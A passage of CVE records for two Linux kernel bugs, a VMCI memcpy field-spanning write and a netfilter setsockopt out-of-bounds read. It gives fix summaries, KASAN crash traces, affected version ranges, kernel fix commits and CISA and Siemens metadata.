    "datePublished": "2025-02-27T02:12:23.235Z",
    "dateReserved": "2024-12-29T08:45:45.760Z",
    "dateUpdated": "2026-05-12T12:03:36.932Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35944 (GCVE-0-2024-35944)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:53

Title

VMCI: Fix memcpy() run-time warning in dg_dispatch_as_host()

Summary

In the Linux kernel, the following vulnerability has been resolved: VMCI: Fix memcpy() run-time warning in dg_dispatch_as_host() Syzkaller hit 'WARNING in dg_dispatch_as_host' bug. memcpy: detected field-spanning write (size 56) of single field "&dg_info->msg" at drivers/misc/vmw_vmci/vmci_datagram.c:237 (size 24) WARNING: CPU: 0 PID: 1555 at drivers/misc/vmw_vmci/vmci_datagram.c:237 dg_dispatch_as_host+0x88e/0xa60 drivers/misc/vmw_vmci/vmci_datagram.c:237 Some code commentry, based on my understanding: 544 #define VMCI_DG_SIZE(_dg) (VMCI_DG_HEADERSIZE + (size_t)(_dg)->payload_size) /// This is 24 + payload_size memcpy(&dg_info->msg, dg, dg_size); Destination = dg_info->msg ---> this is a 24 byte structure(struct vmci_datagram) Source = dg --> this is a 24 byte structure (struct vmci_datagram) Size = dg_size = 24 + payload_size {payload_size = 56-24 =32} -- Syzkaller managed to set payload_size to 32. 35 struct delayed_datagram_info { 36 struct datagram_entry *entry; 37 struct work_struct work; 38 bool in_dg_host_queue; 39 /* msg and msg_payload must be together. */ 40 struct vmci_datagram msg; 41 u8 msg_payload[]; 42 }; So those extra bytes of payload are copied into msg_payload[], a run time warning is seen while fuzzing with Syzkaller. One possible way to fix the warning is to split the memcpy() into two parts -- one -- direct assignment of msg and second taking care of payload. Gustavo quoted: "Under FORTIFY_SOURCE we should not copy data across multiple members in a structure."

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e87bb99d2df6512d8…
https://git.kernel.org/stable/c/f15eca95138b3d4ec…
https://git.kernel.org/stable/c/ad78c5047dc4076d0…
https://git.kernel.org/stable/c/130b0cd064874e0d0…
https://git.kernel.org/stable/c/feacd430b42bbfa9a…
https://git.kernel.org/stable/c/dae70a57565686f16…
https://git.kernel.org/stable/c/491a1eb07c2bd8841…
https://git.kernel.org/stable/c/19b070fefd0d024af…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < e87bb99d2df6512d8ee37a5d63d2ca9a39a8c051 (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < f15eca95138b3d4ec17b63c3c1937b0aa0d3624b (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < ad78c5047dc4076d0b3c4fad4f42ffe9c86e8100 (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < 130b0cd064874e0d0f58e18fb00e6f3993e90c74 (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < feacd430b42bbfa9ab3ed9e4f38b86c43e348c75 (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < dae70a57565686f16089737adb8ac64471570f73 (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < 491a1eb07c2bd8841d63cb5263455e185be5866f (git) Affected: a110b7ebb9c674a2b591af2780dd512ad0198d50 , < 19b070fefd0d024af3daa7329cbc0d00de5302ec (git)
Linux	Linux	Affected: 3.9 Unaffected: 0 , < 3.9 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35944",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:30:02.800597Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:54.146Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.080Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e87bb99d2df6512d8ee37a5d63d2ca9a39a8c051"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f15eca95138b3d4ec17b63c3c1937b0aa0d3624b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad78c5047dc4076d0b3c4fad4f42ffe9c86e8100"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/130b0cd064874e0d0f58e18fb00e6f3993e90c74"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/feacd430b42bbfa9ab3ed9e4f38b86c43e348c75"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dae70a57565686f16089737adb8ac64471570f73"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/491a1eb07c2bd8841d63cb5263455e185be5866f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/19b070fefd0d024af3daa7329cbc0d00de5302ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:08.335Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/misc/vmw_vmci/vmci_datagram.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e87bb99d2df6512d8ee37a5d63d2ca9a39a8c051",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "f15eca95138b3d4ec17b63c3c1937b0aa0d3624b",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "ad78c5047dc4076d0b3c4fad4f42ffe9c86e8100",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "130b0cd064874e0d0f58e18fb00e6f3993e90c74",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "feacd430b42bbfa9ab3ed9e4f38b86c43e348c75",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "dae70a57565686f16089737adb8ac64471570f73",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "491a1eb07c2bd8841d63cb5263455e185be5866f",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            },
            {
              "lessThan": "19b070fefd0d024af3daa7329cbc0d00de5302ec",
              "status": "affected",
              "version": "a110b7ebb9c674a2b591af2780dd512ad0198d50",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/misc/vmw_vmci/vmci_datagram.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.9"
            },
            {
              "lessThan": "3.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nVMCI: Fix memcpy() run-time warning in dg_dispatch_as_host()\n\nSyzkaller hit \u0027WARNING in dg_dispatch_as_host\u0027 bug.\n\nmemcpy: detected field-spanning write (size 56) of single field \"\u0026dg_info-\u003emsg\"\nat drivers/misc/vmw_vmci/vmci_datagram.c:237 (size 24)\n\nWARNING: CPU: 0 PID: 1555 at drivers/misc/vmw_vmci/vmci_datagram.c:237\ndg_dispatch_as_host+0x88e/0xa60 drivers/misc/vmw_vmci/vmci_datagram.c:237\n\nSome code commentry, based on my understanding:\n\n544 #define VMCI_DG_SIZE(_dg) (VMCI_DG_HEADERSIZE + (size_t)(_dg)-\u003epayload_size)\n/// This is 24 + payload_size\n\nmemcpy(\u0026dg_info-\u003emsg, dg, dg_size);\n\tDestination = dg_info-\u003emsg ---\u003e this is a 24 byte\n\t\t\t\t\tstructure(struct vmci_datagram)\n\tSource = dg --\u003e this is a 24 byte structure (struct vmci_datagram)\n\tSize = dg_size = 24 + payload_size\n\n{payload_size = 56-24 =32} -- Syzkaller managed to set payload_size to 32.\n\n 35 struct delayed_datagram_info {\n 36         struct datagram_entry *entry;\n 37         struct work_struct work;\n 38         bool in_dg_host_queue;\n 39         /* msg and msg_payload must be together. */\n 40         struct vmci_datagram msg;\n 41         u8 msg_payload[];\n 42 };\n\nSo those extra bytes of payload are copied into msg_payload[], a run time\nwarning is seen while fuzzing with Syzkaller.\n\nOne possible way to fix the warning is to split the memcpy() into\ntwo parts -- one -- direct assignment of msg and second taking care of payload.\n\nGustavo quoted:\n\"Under FORTIFY_SOURCE we should not copy data across multiple members\nin a structure.\""
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:13.001Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e87bb99d2df6512d8ee37a5d63d2ca9a39a8c051"
        },
        {
          "url": "https://git.kernel.org/stable/c/f15eca95138b3d4ec17b63c3c1937b0aa0d3624b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad78c5047dc4076d0b3c4fad4f42ffe9c86e8100"
        },
        {
          "url": "https://git.kernel.org/stable/c/130b0cd064874e0d0f58e18fb00e6f3993e90c74"
        },
        {
          "url": "https://git.kernel.org/stable/c/feacd430b42bbfa9ab3ed9e4f38b86c43e348c75"
        },
        {
          "url": "https://git.kernel.org/stable/c/dae70a57565686f16089737adb8ac64471570f73"
        },
        {
          "url": "https://git.kernel.org/stable/c/491a1eb07c2bd8841d63cb5263455e185be5866f"
        },
        {
          "url": "https://git.kernel.org/stable/c/19b070fefd0d024af3daa7329cbc0d00de5302ec"
        }
      ],
      "title": "VMCI: Fix memcpy() run-time warning in dg_dispatch_as_host()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35944",
    "datePublished": "2024-05-19T10:10:48.183Z",
    "dateReserved": "2024-05-17T13:50:33.133Z",
    "dateUpdated": "2026-05-12T11:53:08.335Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35896 (GCVE-0-2024-35896)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

netfilter: validate user input for expected length

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: validate user input for expected length I got multiple syzbot reports showing old bugs exposed by BPF after commit 20f2505fb436 ("bpf: Try to avoid kzalloc in cgroup/{s,g}etsockopt") setsockopt() @optlen argument should be taken into account before copying data. BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline] BUG: KASAN: slab-out-of-bounds in do_replace net/ipv4/netfilter/ip_tables.c:1111 [inline] BUG: KASAN: slab-out-of-bounds in do_ipt_set_ctl+0x902/0x3dd0 net/ipv4/netfilter/ip_tables.c:1627 Read of size 96 at addr ffff88802cd73da0 by task syz-executor.4/7238 CPU: 1 PID: 7238 Comm: syz-executor.4 Not tainted 6.9.0-rc2-next-20240403-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114 print_address_description mm/kasan/report.c:377 [inline] print_report+0x169/0x550 mm/kasan/report.c:488 kasan_report+0x143/0x180 mm/kasan/report.c:601 kasan_check_range+0x282/0x290 mm/kasan/generic.c:189 __asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105 copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] copy_from_sockptr include/linux/sockptr.h:55 [inline] do_replace net/ipv4/netfilter/ip_tables.c:1111 [inline] do_ipt_set_ctl+0x902/0x3dd0 net/ipv4/netfilter/ip_tables.c:1627 nf_setsockopt+0x295/0x2c0 net/netfilter/nf_sockopt.c:101 do_sock_setsockopt+0x3af/0x720 net/socket.c:2311 __sys_setsockopt+0x1ae/0x250 net/socket.c:2334 __do_sys_setsockopt net/socket.c:2343 [inline] __se_sys_setsockopt net/socket.c:2340 [inline] __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340 do_syscall_64+0xfb/0x240 entry_SYSCALL_64_after_hwframe+0x72/0x7a RIP: 0033:0x7fd22067dde9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fd21f9ff0c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036 RAX: ffffffffffffffda RBX: 00007fd2207abf80 RCX: 00007fd22067dde9 RDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000003 RBP: 00007fd2206ca47a R08: 0000000000000001 R09: 0000000000000000 R10: 0000000020000880 R11: 0000000000000246 R12: 0000000000000000 R13: 000000000000000b R14: 00007fd2207abf80 R15: 00007ffd2d0170d8 </TASK> Allocated by task 7238: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:370 [inline] __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:387 kasan_kmalloc include/linux/kasan.h:211 [inline] __do_kmalloc_node mm/slub.c:4069 [inline] __kmalloc_noprof+0x200/0x410 mm/slub.c:4082 kmalloc_noprof include/linux/slab.h:664 [inline] __cgroup_bpf_run_filter_setsockopt+0xd47/0x1050 kernel/bpf/cgroup.c:1869 do_sock_setsockopt+0x6b4/0x720 net/socket.c:2293 __sys_setsockopt+0x1ae/0x250 net/socket.c:2334 __do_sys_setsockopt net/socket.c:2343 [inline] __se_sys_setsockopt net/socket.c:2340 [inline] __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340 do_syscall_64+0xfb/0x240 entry_SYSCALL_64_after_hwframe+0x72/0x7a The buggy address belongs to the object at ffff88802cd73da0 which belongs to the cache kmalloc-8 of size 8 The buggy address is located 0 bytes inside of allocated 1-byte region [ffff88802cd73da0, ffff88802cd73da1) The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88802cd73020 pfn:0x2cd73 flags: 0xfff80000000000(node=0|zone=1|lastcpupid=0xfff) page_type: 0xffffefff(slab) raw: 00fff80000000000 ffff888015041280 dead000000000100 dead000000000122 raw: ffff88802cd73020 000000008080007f 00000001ffffefff 00 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/0f038242b77ddfc50…
https://git.kernel.org/stable/c/440e948cf0eff32cf…
https://git.kernel.org/stable/c/18aae2cb87e5faa9c…
https://git.kernel.org/stable/c/81d51b9b7c95e791b…
https://git.kernel.org/stable/c/58f2bfb789e6bd3bc…
https://git.kernel.org/stable/c/0c83842df40f86e52…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0f038242b77ddfc505bf4163d4904c1abd2e74d6 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 440e948cf0eff32cfe322dcbca3f2525354b159b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 18aae2cb87e5faa9c5bd865260ceadac60d5a6c5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0c83842df40f86e529db6842231154772c20edcc (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35896",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:13:06.429370Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:31.845Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-03-21T18:03:48.842Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0f038242b77ddfc505bf4163d4904c1abd2e74d6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/440e948cf0eff32cfe322dcbca3f2525354b159b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/18aae2cb87e5faa9c5bd865260ceadac60d5a6c5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0c83842df40f86e529db6842231154772c20edcc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20250321-0004/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:31.965Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bridge/netfilter/ebtables.c",
            "net/ipv4/netfilter/arp_tables.c",
            "net/ipv4/netfilter/ip_tables.c",
            "net/ipv6/netfilter/ip6_tables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0f038242b77ddfc505bf4163d4904c1abd2e74d6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "440e948cf0eff32cfe322dcbca3f2525354b159b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "18aae2cb87e5faa9c5bd865260ceadac60d5a6c5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "81d51b9b7c95e791ba3c1a2dd77920a9d3b3f525",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "58f2bfb789e6bd3bc24a2c9c1580f3c67aec3018",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0c83842df40f86e529db6842231154772c20edcc",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bridge/netfilter/ebtables.c",
            "net/ipv4/netfilter/arp_tables.c",
            "net/ipv4/netfilter/ip_tables.c",
            "net/ipv6/netfilter/ip6_tables.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
